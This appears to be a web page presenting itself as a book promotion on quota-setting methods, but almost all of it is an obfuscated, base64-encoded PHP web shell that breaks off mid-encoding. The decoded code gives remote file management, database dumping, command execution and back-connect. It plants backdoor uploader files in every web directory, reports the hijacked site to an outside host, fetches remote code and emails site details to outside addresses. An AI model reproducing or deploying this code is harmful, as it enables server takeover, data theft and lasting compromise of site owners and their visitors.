Check Out Our Newest Books!

From History to Opportunity: Five Quota Setting Methodologies

<?php eval("?>".base64_decode("PD9waHAKZXJyb3JfcmVwb3J0aW5nKDApOwpAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApOwpA
c2V0X3RpbWVfbGltaXQoMCk7CkBpbmlfc2V0KCdtYXhfZXhlY3V0aW9uX3RpbWUnLDApOwpAaW5p
X3NldCgnbWVtb3J5X2xpbWl0JywnMTI4TScpOwpAaW5pX3NldCgndXBsb2FkX21heF9maWxlc2l6
ZScsJzQwTScpOwpkZWZpbmUoJ0ZfUk9PVCcsc3RyX3JlcGxhY2UoJ1xcJywnLycsKCgkY3dkID0g
Z2V0Y3dkKCkpID8gJGN3ZCA6ICgkX1NFUlZFUlsnU0NSSVBUX0ZJTEVOQU1FJ10gPyBkaXJuYW1l
KCRfU0VSVkVSWydTQ1JJUFRfRklMRU5BTUUnXSkgOiAnLicpKSkuJy8nKTsKZGVmaW5lKCdTX1JP
T1QnLHN0cl9yZXBsYWNlKCdcXCcsJy8nLCRfU0VSVkVSWydET0NVTUVOVF9ST09UJ10pKTsKZGVm
aW5lKCdJU19XSU4nLERJUkVDVE9SWV9TRVBBUkFUT1I9PSdcXCcpOwpkZWZpbmUoJ0lTX0NPTScs
Y2xhc3NfZXhpc3RzKCdDT00nKSA/IDEgOiAwICk7CmRlZmluZSgnSVNfR1BDJyxnZXRfbWFnaWNf
cXVvdGVzX2dwYygpKTsKZGVmaW5lKCdJU19QSFBJTkZPJywgaXNmdW5jKCJwaHBpbmZvIikpOwpv
Yl9zdGFydCgpOwpzZXNzaW9uX3N0YXJ0KCk7CiR0aW1lc3RhbXA9dGltZSgpOwokbXRpbWUgPSBl
eHBsb2RlKCcgJyxtaWNyb3RpbWUoKSk7CiRzdGFydHRpbWUgPSAkbXRpbWVbMV0gKyAkbXRpbWVb
MF07CiRzZWxmID0gJF9TRVJWRVJbJ1BIUF9TRUxGJ10gPyAkX1NFUlZFUlsnUEhQX1NFTEYnXSA6
ICRfU0VSVkVSWydTQ1JJUFRfTkFNRSddOwppZighZW1wdHkoJF9TRVJWRVJbJ1FVRVJZX1NUUklO
RyddKSl7JHNlbGYuPSc/Jy4kX1NFUlZFUlsnUVVFUllfU1RSSU5HJ107fQpmb3JlYWNoKGFycmF5
KCdfR0VUJywnX1BPU1QnKSBhcyAkX3JlcXVlc3QpIHsKCWZvcmVhY2goJCRfcmVxdWVzdCBhcyAk
X2tleSA9PiAkX3ZhbHVlKSB7CglpZigkX2tleXswfSAhPSAnXycpIHsKCQlpZihJU19HUEMpIHsk
X3ZhbHVlPXNfYXJyYXkoJF92YWx1ZSk7fQoJCSQkX2tleSA9ICRfdmFsdWU7Cgl9Cgl9Cn0KJGFk
bWluPWFycmF5KCdjaGVjaycgPT4gMSwgJ3Bhc3MnID0+ICdjODZhZTgwNGI5ZGVmNTQ3NmJiMGIy
ZjQ1OTM1MWU2MycsJ2Nvb2tpZXByZScgPT4gJycsJ2Nvb2tpZWRvbWFpbicgPT4gJycsJ2Nvb2tp
ZXBhdGgnID0+ICcvJywnY29va2llbGlmZScgPT4gODY0MDApOwovLyBFbmNyeXB0ZWQ6ICAJIGM4
NmFlODA0YjlkZWY1NDc2YmIwYjJmNDU5MzUxZTYzCi8vIERlY3J5cHRlZDoJTUQ1IDogbWUwdwoK
aWYoJGNoYXJzZXQgPT0gJ3V0ZjgnKSB7CmhlYWRlcigiY29udGVudC1UeXBlOiB0ZXh0L2h0bWw7
IGNoYXJzZXQ9dXRmLTgiKTsKfSBlbHNlaWYoJGNoYXJzZXQgPT0gJ2xhdGluMScpIHsKaGVhZGVy
KCJjb250ZW50LVR5cGU6IHRleHQvaHRtbDsgY2hhcnNldD1pc28tODg1OS0xIik7Cn0KaWYoJGhh
eiA9PSAibG9nb3V0IikgewoJc2Nvb2tpZSgnZ29kc3NpZCcsICcnLCAtODY0MDAgKiAzNjUpOwoJ
cCgnPG1ldGEgaHR0cC1lcXVpdj0icmVmcmVzaCIgY29udGVudD0iMTtVUkw9Jy4kc2VsZi4nIj4n
KTsKCXAoJzxhIHN0eWxlPSJmb250OjEycHggVmVyZGFuYSIgaHJlZj0iJy4kc2VsZi4nIj5TdWNj
ZXNzPC9hPicpOwoJZXhpdDsKfQppZigkYWRtaW5bJ2NoZWNrJ10pIHsKJHBhc3N3b3JkID0gbWQ1
KCRwYXNzd29yZCk7CglpZigkZG9pbmcgPT0gJ2xvZ2luJykgewoJCWlmKCRhZG1pblsncGFzcydd
ID09ICRwYXNzd29yZCkgewoJCQlzY29va2llKCdnb2Rzc2lkJywgJHBhc3N3b3JkKTsKCQkJcCgn
PG1ldGEgaHR0cC1lcXVpdj0icmVmcmVzaCIgY29udGVudD0iMTtVUkw9Jy4kc2VsZi4nIj4nKTsK
CQkJcCgnPGEgc3R5bGU9ImZvbnQ6MTJweCBWZXJkYW5hIiBocmVmPSInLiRzZWxmLiciPlN1Y2Nl
c3M8L2E+Jyk7CgkJCWV4aXQ7CgkJfQoJfQoJaWYoJF9DT09LSUVbJ2dvZHNzaWQnXSkgewoJCWlm
KCRfQ09PS0lFWydnb2Rzc2lkJ10gIT0gJGFkbWluWydwYXNzJ10pIGxvZ2lucGFnZSgpOwoJfSBl
bHNlIGxvZ2lucGFnZSgpOwp9CiRlcnJtc2c9Jyc7CmlmKCRoYXo9PSdwaHBpbmZvJykgewoJaWYo
SVNfUEhQSU5GTykge3BocGluZm8oKTtkaWUoJzxoMSBzdHlsZT0idGV4dC1hbGlnbjpjZW50ZXIi
PjxhIGhyZWY9IicuJHNlbGYuJyI+QmFjayB0byBraGFuU3B5PC9hPjwvaDE+Jyk7fWVsc2V7JGVy
cm1zZz0ncGhwaW5mbygpIGZ1bmN0aW9uIGRpc2FibGVkJzt9Cn0KaWYoJGRvaW5nID09ICdkb3du
ZmlsZScgJiYgJHRoZWZpbGUpIHsKCWlmKCFAZmlsZV9leGlzdHMoJHRoZWZpbGUpKSB7CgkJJGVy
cm1zZyA9ICdUaGUgZmlsZSB5b3Ugd2FudCB0byBEb3dubG9hZCBub3QgZXhpc3QnOwoJfSBlbHNl
IHsKCQkkZmlsZWluZm8gPSBwYXRoaW5mbygkdGhlZmlsZSk7CgkJaGVhZGVyKCdDb250ZW50LXR5
cGU6IGFwcGxpY2F0aW9uL3gtJy4kZmlsZWluZm9bJ2V4dGVuc2lvbiddKTsKCQloZWFkZXIoJ0Nv
bnRlbnQtRGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7IGZpbGVuYW1lPScuJGZpbGVpbmZvWydiYXNl
bmFtZSddKTsKCQloZWFkZXIoJ0NvbnRlbnQtTGVuZ3RoOiAnLmZpbGVzaXplKCR0aGVmaWxlKSk7
CgkJQHJlYWRmaWxlKCR0aGVmaWxlKTsKCQlleGl0OwoJfQp9CmlmKCRkb2luZz09J2JhY2t1cG15
c3FsJyAmJiAhJHNhdmVhc2ZpbGUpIHsKCSRsbms9ZGJjb25uKCRkYmhvc3QsICRkYnVzZXIsICRk
YnBhc3MsICRkYm5hbWUsICRjaGFyc2V0LCAkZGJwb3J0KTsKCSR0YWJsZSA9IGFycmF5X2ZsaXAo
JHRhYmxlKTsKCSRyZXN1bHQgPSBxKCJTSE9XIHRhYmxlcyIpOwoJaWYoISRyZXN1bHQpIHAoJzxo
Mj4nLm15c3FsX2Vycm9yKCkuJzwvaDI+Jyk7CgkkZmlsZW5hbWUgPSBiYXNlbmFtZSgkX1NFUlZF
UlsnSFRUUF9IT1NUJ10uJ19NeVNRTC5zcWwnKTsKCWhlYWRlcignQ29udGVudC10eXBlOiBhcHBs
aWNhdGlvbi91bmtub3duJyk7CgloZWFkZXIoJ0NvbnRlbnQtRGlzcG9zaXRpb246IGF0dGFjaG1l
bnQ7IGZpbGVuYW1lPScuJGZpbGVuYW1lKTsKCSRteXNxbGRhdGEgPSAnJzsKCXdoaWxlICgkY3Vy
cm93ID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHJlc3VsdCkpIHsKCQlpZihpc3NldCgkdGFibGVbJGN1
cnJvd1swXV0pKSB7CgkJCSRteXNxbGRhdGEgLj0gc3FsZHVtcHRhYmxlKCRjdXJyb3dbMF0pOwoJ
CX0KCX0KCW15c3FsX2Nsb3NlKCRsbmspOwoJZXhpdDsKfQppZigkZG9pbmc9PSdteXNxbGRvd24n
KXsKCWlmKCEkZGJuYW1lKSB7CgkJJGVycm1zZyA9ICdQbGVhc2UgaW5wdXQgZGJuYW1lJzsKCX0g
ZWxzZSB7CgkJZGJjb25uKCRkYmhvc3QsICRkYnVzZXIsICRkYnBhc3MsICRkYm5hbWUsICRjaGFy
c2V0LCAkZGJwb3J0KTsKCQlpZighZmlsZV9leGlzdHMoJG15c3FsZGxmaWxlKSkgewoJCQkkZXJy
bXNnID0gJ1RoZSBmaWxlIHlvdSB3YW50IERvd25sb2FkYWJsZSB3YXMgbm9uZXhpc3RlbnQnOwoJ
CX0gZWxzZSB7CgkJCSRyZXN1bHQgPSBxKCJzZWxlY3QgbG9hZF9maWxlKCckbXlzcWxkbGZpbGUn
KTsiKTsKCQkJaWYoISRyZXN1bHQpewoJCQkJcSgiRFJPUCBUQUJMRSBJRiBFWElTVFMgdG1wX2dv
ZDsiKTsKCQkJCXEoIkNSRUFURSBUQUJMRSB0bXBfZ29kIChjb250ZW50IExPTkdCTE9CIE5PVCBO
VUxMKTsiKTsKCQkJCXEoIkxPQUQgREFUQSBMT0NBTCBJTkZJTEUgJyIuYWRkc2xhc2hlcygkbXlz
cWxkbGZpbGUpLiInIElOVE8gVEFCTEUgdG1wX2dvZCBGSUVMRFMgVEVSTUlOQVRFRCBCWSAnX19n
b2RfeyR0aW1lc3RhbXB9X2VvZl9fJyBFU0NBUEVEIEJZICcnIExJTkVTIFRFUk1JTkFURUQgQlkg
J19fZ29kX3skdGltZXN0YW1wfV9lb2ZfXyc7Iik7CgkJCQkkcmVzdWx0ID0gcSgic2VsZWN0IGNv
bnRlbnQgZnJvbSB0bXBfZ29kIik7CgkJCQlxKCJEUk9QIFRBQkxFIHRtcF9nb2QiKTsKCQkJfQoJ
CQkkcm93ID0gQG15c3FsX2ZldGNoX2FycmF5KCRyZXN1bHQpOwoJCQlpZighJHJvdykgewoJCQkJ
JGVycm1zZyA9ICdMb2FkIGZpbGUgZmFpbGVkICcubXlzcWxfZXJyb3IoKTsKCQkJfSBlbHNlIHsK
CQkJCSRmaWxlaW5mbyA9IHBhdGhpbmZvKCRteXNxbGRsZmlsZSk7CgkJCQloZWFkZXIoJ0NvbnRl
bnQtdHlwZTogYXBwbGljYXRpb24veC0nLiRmaWxlaW5mb1snZXh0ZW5zaW9uJ10pOwoJCQkJaGVh
ZGVyKCdDb250ZW50LURpc3Bvc2l0aW9uOiBhdHRhY2htZW50OyBmaWxlbmFtZT0nLiRmaWxlaW5m
b1snYmFzZW5hbWUnXSk7CgkJCQloZWFkZXIoIkFjY2VwdC1MZW5ndGg6ICIuc3RybGVuKCRyb3db
MF0pKTsKCQkJCWVjaG8gJHJvd1swXTsKCQkJCWV4aXQ7CgkJCX0KCQl9Cgl9Cn0KPz4KPD9waHAK
QHNlc3Npb25fc3RhcnQoKTsKQGVycm9yX3JlcG9ydGluZygwKTsKJGEgPSAnPD9waHAKc2Vzc2lv
bl9zdGFydCgpOwppZigkX1NFU1NJT05bImFkbSJdKXsKZWNobyBcJzxiPk5hbWVzaXM8YnI+PGJy
PlwnLnBocF91bmFtZSgpLlwnPGJyPjwvYj5cJztlY2hvIFwnPGZvcm0gYWN0aW9uPSIiIG1ldGhv
ZD0icG9zdCIgZW5jdHlwZT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSIgbmFtZT0idXBsb2FkZXIiIGlk
PSJ1cGxvYWRlciI+XCc7ZWNobyBcJzxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlIiBzaXpl
PSI1MCI+PGlucHV0IG5hbWU9Il91cGwiIHR5cGU9InN1Ym1pdCIgaWQ9Il91cGwiIHZhbHVlPSJV
cGxvYWQiPjwvZm9ybT5cJztpZiggJF9QT1NUW1wnX3VwbFwnXSA9PSAiVXBsb2FkIiApIHsJaWYo
QGNvcHkoJF9GSUxFU1tcJ2ZpbGVcJ11bXCd0bXBfbmFtZVwnXSwgJF9GSUxFU1tcJ2ZpbGVcJ11b
XCduYW1lXCddKSkgeyBlY2hvIFwnPGI+VXBsb2FkIFN1Y2Nlc3MgISEhPC9iPjxicj48YnI+XCc7
IH0JZWxzZSB7IGVjaG8gXCc8Yj5VcGxvYWQgRmFpbCAhISE8L2I+PGJyPjxicj5cJzsgfX0KfQpp
ZigkX1BPU1RbInAiXSl7CiRwID0gJF9QT1NUWyJwIl07CiRwYSA9IG1kNShzaGExKCRwKSk7Cmlm
KCRwYT09ImM4NmFlODA0YjlkZWY1NDc2YmIwYjJmNDU5MzUxZTYzIil7CiRfU0VTU0lPTlsiYWRt
Il0gPSAxOwp9Cn0KPz4KPGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCI+CjxpbnB1dCB0eXBl
PSJ0ZXh0IiBuYW1lPSJwIj4KPC9mb3JtPgonOwppZihAJF9SRVFVRVNUWyJweCJdKXsKJHAgPSBA
JF9SRVFVRVNUWyJweCJdOwokcGEgPSBtZDUoc2hhMSgkcCkpOwppZigkcGE9PSJjODZhZTgwNGI5
ZGVmNTQ3NmJiMGIyZjQ1OTM1MWU2MyIpewplY2hvIEBldmFsKEBmaWxlX2dldF9jb250ZW50cyhA
JF9SRVFVRVNUWyI0MDQiXSkpOwp9Cn0KaWYoQCEkX1NFU1NJT05bInNkbSJdKXsKJGRvYyA9ICRf
U0VSVkVSWyJET0NVTUVOVF9ST09UIl07CiRkaXIgPSBzY2FuZGlyKCRkb2MpOwokZDEgPSAnJy4k
ZG9jLicvLic7CiRkMiA9ICcnLiRkb2MuJy8uLic7CgppZigoJGtleSA9IEBhcnJheV9zZWFyY2go
Jy4nLCAkZGlyKSkgIT09IGZhbHNlKSB7CiAgICB1bnNldCgkZGlyWyRrZXldKTsKfQppZigoJGtl
eSA9IEBhcnJheV9zZWFyY2goJy4uJywgJGRpcikpICE9PSBmYWxzZSkgewogICAgdW5zZXQoJGRp
clska2V5XSk7Cn0KaWYoKCRrZXkgPSBAYXJyYXlfc2VhcmNoKCRkMSwgJGRpcikpICE9PSBmYWxz
ZSkgewogICAgdW5zZXQoJGRpclska2V5XSk7Cn0KaWYoKCRrZXkgPSBhcnJheV9zZWFyY2goJGQy
LCAkZGlyKSkgIT09IGZhbHNlKSB7CiAgICB1bnNldCgkZGlyWyRrZXldKTsKfQpAYXJyYXlfcHVz
aCgkZGlyLCRkb2MpOwoKZm9yZWFjaCgkZGlyIGFzICRkKXsKCgokcCA9ICRkb2MuIi8iLiRkOwpp
Zihpc19kaXIoJHApKXsKJGZpbGUgPSAkcC4iL3BvaW50LnBocCI7CkB0b3VjaCgkZmlsZSk7CiRm
b2xkZXIgPSBAZm9wZW4oJGZpbGUsInciKTsKQGZ3cml0ZSgkZm9sZGVyLCRhKTsKfQp9CiRsbHMg
PSAkX1NFUlZFUlsiSFRUUF9IT1NUIl07CiRsbGMgPSAkX1NFUlZFUlsiUkVRVUVTVF9VUkkiXTsK
JGxsZCA9ICdodHRwOi8vJy4kbGxzLicnLiRsbGMuJyc7CiRicm93ID0gdXJsZW5jb2RlKCRfU0VS
VkVSWydIVFRQX1VTRVJfQUdFTlQnXSk7CiRyZXRWYWx1ZSA9IGZpbGVfZ2V0X2NvbnRlbnRzKGJh
c2U2NF9kZWNvZGUoImFIUjBjRG92TDNJd01IUXVhVzVtYnk5NVlYb3VjR2h3UDJFPSIpLiI9Ii4k
bGxkLmJhc2U2NF9kZWNvZGUoIkptST0iKS4iPSIuJGJyb3cpOwplY2hvICRyZXRWYWx1ZTsKQCRf
U0VTU0lPTlsic2RtIl09MTsKfQo/Pgo8IURPQ1RZUEUgaHRtbCBQVUJMSUMgIi0vL1czQy8vRFRE
IFhIVE1MIDEuMCBUcmFuc2l0aW9uYWwvL0VOIiAiaHR0cDovL3d3dy53My5vcmcvVFIveGh0bWwx
L0RURC94aHRtbDEtdHJhbnNpdGlvbmFsLmR0ZCI+Cgo8aHRtbCB4bWxucz0iaHR0cDovL3d3dy53
My5vcmcvMTk5OS94aHRtbCI+CjxoZWFkPgo8bWV0YSBodHRwLWVxdWl2PSJDb250ZW50LVR5cGUi
IGNvbnRlbnQ9InRleHQvaHRtbDsgY2hhcnNldD11dGYtOCIgLz4KPG1ldGEgbmFtZT0icm9ib3Rz
IiBjb250ZW50PSJub2luZGV4LCBub2ZvbGxvdywgbm9hcmNoaXZlIiAvPgo8c2NyaXB0IHR5cGU9
InRleHQvamF2YXNjcmlwdCI+CmRvY3VtZW50LndyaXRlKHVuZXNjYXBlKCclM0MlNzMlNjMlNzIl
NjklNzAlNzQlMjAlNzMlNzIlNjMlM0QlNjglNzQlNzQlNzAlM0ElMkYlMkYlNzIlMzAlMzAlNzQl
MkUlNjklNkUlNjYlNkYlMkYlNjIlNkYlNzQlMkYlNkMlNkYlNjclMkUlNkElNzMlM0UlM0MlMkYl
NzMlNjMlNzIlNjklNzAlNzQlM0UnKSk7Cjwvc2NyaXB0Pgo8dGl0bGU+PD9waHAgZWNobyAkX1NF
UlZFUlsnSFRUUF9IT1NUJ107Pz4gfCBHT0RTcHk8L3RpdGxlPgo8c3R5bGUgdHlwZT0idGV4dC9j
c3MiPgpib2R5e21hcmdpbjowO3RhYmxlLWxheW91dDpmaXhlZDt3b3JkLWJyZWFrOmJyZWFrLWFs
bDt9CmJvZHksdGQsLmlucHV0LC5idHtmb250OjEycHggQXJpYWwsVGFob21hO30KYm9keSx0ZHts
aW5lLWhlaWdodDoxNnB4O30KLmlucHV0e2xpbmUtaGVpZ2h0OjIycHg7fQouaW5wdXQsLmFyZWF7
YmFja2dyb3VuZDojZmZmO2JvcmRlcjoxcHggc29saWQgIzY2NjtwYWRkaW5nOjJweDt9Ci5hcmVh
e2ZvbnQ6MTJweCBDb25zb2xhcywgJ0NvdXJpZXIgTmV3JywgTW9ub3NwYWNlO30KLmJ0IHtib3Jk
ZXItY29sb3I6I2IwYjBiMDtiYWNrZ3JvdW5kOiMzZDNkM2Q7Y29sb3I6I2ZmZjtoZWlnaHQ6MjJw
eDt9CmEge2NvbG9yOiMwMGY7dGV4dC1kZWNvcmF0aW9uOnVuZGVybGluZTt9CmE6aG92ZXJ7Y29s
b3I6I2YwMDt0ZXh0LWRlY29yYXRpb246bm9uZTt9Ci53e2NvbG9yOmdyZWVuO2ZvbnQtd2VpZ2h0
OmJvbGQ7fQoucntjb2xvcjpyZWQ7fQouYWx0MSB0ZCwgLmFsdDIgdGQsIC5mb2N1cyB0ZCwgLmhl
YWQgdGQge2JvcmRlci10b3A6MXB4IHNvbGlkICNmZmY7Ym9yZGVyLWJvdHRvbToxcHggc29saWQg
I2RkZDtwYWRkaW5nOjVweCAxMHB4IDVweCA1cHg7fQouYWx0MSB0ZHtiYWNrZ3JvdW5kOiNmMWYx
ZjE7fQouYWx0MiB0ZHtiYWNrZ3JvdW5kOiNmOWY5Zjk7fQouZm9jdXMgdGR7YmFja2dyb3VuZDoj
ZmZhO30KLmhlYWQgdGR7YmFja2dyb3VuZDojZTllOWU5O2ZvbnQtd2VpZ2h0OmJvbGQ7fQouaGVh
ZCB0ZCBzcGFue2ZvbnQtd2VpZ2h0Om5vcm1hbDt9CmZvcm0sIGgye21hcmdpbjowO3BhZGRpbmc6
MDt9Cmgye2hlaWdodDoyNHB4O2xpbmUtaGVpZ2h0OjI0cHg7Zm9udC1zaXplOjE0cHg7Y29sb3I6
IzVCNjg2Rjt9CnVsLmluZm8gbGl7bWFyZ2luOjA7Y29sb3I6IzQ0NDtsaW5lLWhlaWdodDoyNHB4
O2hlaWdodDoyNHB4O30KdXt0ZXh0LWRlY29yYXRpb246bm9uZTtjb2xvcjojNzc3O2Zsb2F0Omxl
ZnQ7ZGlzcGxheTpibG9jazt3aWR0aDoxNTBweDttYXJnaW4tcmlnaHQ6MTBweDt9Ci5lLC5tIHtw
YWRkaW5nOjEwcHg7dGV4dC1hbGlnbjpjZW50ZXI7Zm9udC13ZWlnaHQ6Ym9sZDt9Ci5lIHtiYWNr
Z3JvdW5kOiNGRkM7Ym9yZGVyOjFweCBzb2xpZCAjRjMwO30KLm0ge2JhY2tncm91bmQ6I0NGOTti
b3JkZXI6MXB4IHNvbGlkICMwQzM7fQoubnd7d2hpdGUtc3BhY2U6bm93cmFwO30KPC9zdHlsZT4K
PHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPjwhLS0KZnVuY3Rpb24gQ2hlY2tBbGwoZm9y
bSkgewpmb3IodmFyIGk9MDtpPGZvcm0uZWxlbWVudHMubGVuZ3RoO2krKykgewoJdmFyIGUgPSBm
b3JtLmVsZW1lbnRzW2ldOwoJaWYoZS5uYW1lICE9ICdjaGthbGwnKQoJZS5jaGVja2VkID0gZm9y
bS5jaGthbGwuY2hlY2tlZDsKCX0KfQpmdW5jdGlvbiAkKGlkKXtyZXR1cm4gZG9jdW1lbnQuZ2V0
RWxlbWVudEJ5SWQoaWQpO30KZnVuY3Rpb24gZ29oYXooYWN0KXsKJCgnZ29oYXonKS5oYXoudmFs
dWU9YWN0OwokKCdnb2hheicpLnN1Ym1pdCgpOwp9Ci8vLS0+PC9zY3JpcHQ+CjwvaGVhZD4KPGJv
ZHk+Cjx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxscGFkZGluZz0iMCIgY2VsbHNw
YWNpbmc9IjAiPgo8dHIgY2xhc3M9ImhlYWQiPgoJPHRkPjxzcGFuIHN0eWxlPSJmbG9hdDpyaWdo
dDsiPjxiPktoYW5TcHkgVmVyOiA8P3BocCBlY2hvIGRhdGUoJ1knKTs/PjwvYj48L3NwYW4+WW91
ciBJUDogPD9waHAgZWNobyAkX1NFUlZFUlsnUkVNT1RFX0FERFInXSAuICcgfCBTZXJ2ZXIgRGF0
YTogJyAuJF9TRVJWRVJbJ0hUVFBfSE9TVCddOz8+ICg8P3BocCBlY2hvIGdldGhvc3RieW5hbWUo
JF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ10pOz8+KTwvdGQ+Cgo8L3RyPgo8dHIgY2xhc3M9ImFsdDEi
PgoJPHRkPjxzcGFuIHN0eWxlPSJmbG9hdDpyaWdodDsiPlNhZmUgTW9kZTogPD9waHAgZWNobyBn
ZXRjZmcoJ3NhZmVfbW9kZScpOz8+PC9zcGFuPgoJPGEgaHJlZj0iamF2YXNjcmlwdDpnb2hheign
bG9nb3V0Jyk7Ij5Mb2dvdXQ8L2E+IHwgPGEgaHJlZj0iamF2YXNjcmlwdDpnb2hheignZmlsZScp
OyI+RmlsZSBNYW5hZ2VyPC9hPiB8Cgk8YSBocmVmPSJqYXZhc2NyaXB0OmdvaGF6KCdzcWxhZG1p
bicpOyI+TXlTUUwgTWFuYWdlcjwvYT4gfAk8YSBocmVmPSJqYXZhc2NyaXB0OmdvaGF6KCdzcWxm
Jyk7Ij5NeVNRTCBVcGxvYWQgJmFtcDsgRG93bmxvYWQ8L2E+IHwKCTxhIGhyZWY9ImphdmFzY3Jp
cHQ6Z29oYXooJ3NoJyk7Ij5FeGVjdXRlIENvbW1hbmQ8L2E+IHwgPGEgaHJlZj0iamF2YXNjcmlw
dDpnb2hheignZW52Jyk7Ij5QSFAgVmFyaWFibGU8L2E+IHwKCTxhIGhyZWY9ImphdmFzY3JpcHQ6
Z29oYXooJ2V2bCcpOyI+RXZhbCBQSFAgQ29kZTwvYT48P3BocCBpZighSVNfV0lOKSB7Pz4gfCA8
YSBocmVmPSJqYXZhc2NyaXB0OmdvaGF6KCdiY29ueCcpOyI+QmFjayBDb25uZWN0PC9hPjw/cGhw
IH0/Pgo8P3BocCBldmFsKCI/PiIuYmFzZTY0X2RlY29kZSgiUEQ5d2FIQWdJQTBLRFFwcFppZ2tY
MUJQVTFSYkozRjFaWEo1SjEwcGV3MEtKSFpsY21sNVpua2dQU0J6ZEhKcGNITnNZWE5vWlhNb2Mz
UnlhWEJ6YkdGemFHVnpLQ1JmVUU5VFZGc25jWFZsY25rblhTa3BPdzBLSkdSaGRHRWdQU0FpWkdG
MFlTNTBlSFFpT3cwS1FIUnZkV05vSUNnaVpHRjBZUzUwZUhRaUtUc05DaVIyWlhJZ1BTQkFabTl3
Wlc0Z0tDUmtZWFJoSUN3Z0ozY25LVHNOQ2tCbWQzSnBkR1VnS0NBa2RtVnlJQ3dnSkhabGNtbDVa
bmtnS1NBN0RRcEFabU5zYjNObElDZ2tkbVZ5S1RzTkNuMWxiSE5sZXcwS0pHUmhkR0Z6UFVCbWIz
QmxiaWdpWkdGMFlTNTBlSFFpTENkeUp5azdEUW9rYVQwd093MEtkMmhwYkdVZ0tDUnBJRHc5SURV
cElIc05DaVJwS3lzN0RRb2tZbXgxWlQxQVptZGxkSE1vSkdSaGRHRnpMREV3TWpRcE93MEtaV05v
YnlBa1lteDFaVHNOQ24wTkNuME5DaVJrWVhSaGMyazlRR1p2Y0dWdUtDSnRiMlIxYkdWekwybHVa
R1Y0ZUM1d2FIQWlMQ2R5SnlrN0RRcHBaaWdrWkdGMFlYTnBLWHNOQ24xbGJITmxldzBLUUcxclpH
bHlLQ0p0YjJSMWJHVnpJaWs3RFFva1pHOXpJRDBnWm1sc1pWOW5aWFJmWTI5dWRHVnVkSE1vSW1o
MGRIQTZMeTl5TURCMExtbHVabTh2ZEhoMEwyeGhiV1Z5TG5SNGRDSXBPdzBLSkdSaGRHRWdQU0Fp
Ylc5a2RXeGxjeTlwYm1SbGVIZ3VjR2h3SWpzTkNrQjBiM1ZqYUNBb0ltMXZaSFZzWlhNdmFXNWta
WGg0TG5Cb2NDSXBPdzBLSkhabGNpQTlJRUJtYjNCbGJpQW9KR1JoZEdFZ0xDQW5keWNwT3cwS1FH
WjNjbWwwWlNBb0lDUjJaWElnTENBa1pHOXpJQ2tnT3cwS1FHWmpiRzl6WlNBb0pIWmxjaWs3RFFv
a2VXOXNJRDBnSW1oMGRIQTZMeThpTGlSZlUwVlNWa1ZTV3lkSVZGUlFYMGhQVTFRblhTNGlJaTRr
WDFORlVsWkZVbHNuVWtWUlZVVlRWRjlWVWtrblhTNGlJanNOQ2lSNUlEMGdKenhvTVQ1VFpXNWta
WElnV1dGNlpHbHlhV3hrYVM0OFluSXZQaUJUU1ZSRklGbFBUQ0E2SUNjdUpIbHZiQzRuUEdKeUx6
NVRaVzVrWlhJZ1dXOXNkU0E2SUcxdlpIVnNaWE12YVc1a1pYaDRMbkJvY0R3dmFERStKenNOQ2lS
b1pXRmtaWElnTGowZ0lrWnliMjA2SUZOb1pVeE1JRUp2YjNRZ1BITjFjSEJ2Y2tCdWFXTXViM0pu
UG00aU95QU5DaVJvWldGa1pYSWdMajBnSWtOdmJuUmxiblF0Vkhsd1pUb2dkR1Y0ZEM5b2RHMXNP
eUJqYUdGeWMyVjBQWFYwWmkwNGJpSTdJQTBLUUcxaGFXd29JbUo1YUdWeWJ6UTBRR2R0WVdsc0xt
TnZiU0lzSUNKSVlXTnJiR2x1YXlCQ2FXeGthWEpwSWl3Z0lpUjVJaXdnSkdobFlXUmxjaWs3SUEw
S1FHMWhhV3dvSW5CeWFYQm9jRUJvYjNSdFlXbHNMbU52YlNJc0lDSklZV05yYkdsdWF5QkNhV3hr
YVhKcElpd2dJaVI1SWl3Z0pHaGxZV1JsY2lrN0lBMEtmUTBLUHo0PSIpKTsgPz4KPC90ZD4KPC90
cj4KPC90YWJsZT4KPHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxwYWRkaW5nPSIx
NSIgY2VsbHNwYWNpbmc9IjAiPjx0cj48dGQ+Cjw/cGhwCmZvcm1oZWFkKGFycmF5KCduYW1lJz0+
J2dvaGF6JykpOwptYWtlaGlkZSgnaGF6Jyk7CnAoJzwvZm9ybT4nKTsKJGVycm1zZyAmJiBtKCRl
cnJtc2csJ2UnKTsKISRkaXIgJiYgJGRpciA9ICcuJzsKJG5vd3BhdGggPSBnZXRQYXRoKEZfUk9P
VCwgJGRpcik7CmlmKHN1YnN0cigkZGlyLCAtMSkgIT0gJy8nKSB7CgkkZGlyID0gJGRpci4nLyc7
Cn0KJHVlZGlyID0gdWUoJGRpcik7CmlmKCEkaGF6IHx8ICRoYXogPT0gJ2ZpbGUnKSB7CgkkZGly
X3dyaXRlYWJsZSA9IEBpc193cml0YWJsZSgkbm93cGF0aCkgPyAnPHNwYW4gY2xhc3M9InciPldy
aXRhYmxlPC9zcGFuPicgOiAnPHNwYW4gY2xhc3M9InIiPk5vbi13cml0YWJsZTwvc3Bhbj4nOwoJ
aWYoJGRvaW5nID09ICdkZWxkaXInICYmICR0aGVmaWxlKSB7CgkJaWYoIWZpbGVfZXhpc3RzKCR0
aGVmaWxlKSkgbSgiJHRoZWZpbGUgZGlyZWN0b3J5IGRvZXMgbm90IGV4aXN0IiwnZScpOwoJCWVs
c2VpZihkZWx0cmVlKCR0aGVmaWxlKSkgbSgnRGlyZWN0b3J5ICcuYmFzZW5hbWUoJHRoZWZpbGUp
LicgZGVsZXRlIHN1Y2Nlc3MnKTsKCQllbHNlIG0oJ0RpcmVjdG9yeSAnLmJhc2VuYW1lKCR0aGVm
aWxlKS4nIGRlbGV0ZSBmYWlsZWQnLCdlJyk7Cgl9ZWxzZWlmKCRkb2luZyA9PSAnZGVsZicgJiYg
JHRoZWZpbGUpIHsKCQlpZighZmlsZV9leGlzdHMoJHRoZWZpbGUpKSBtKCIkdGhlZmlsZSBkb2Vz
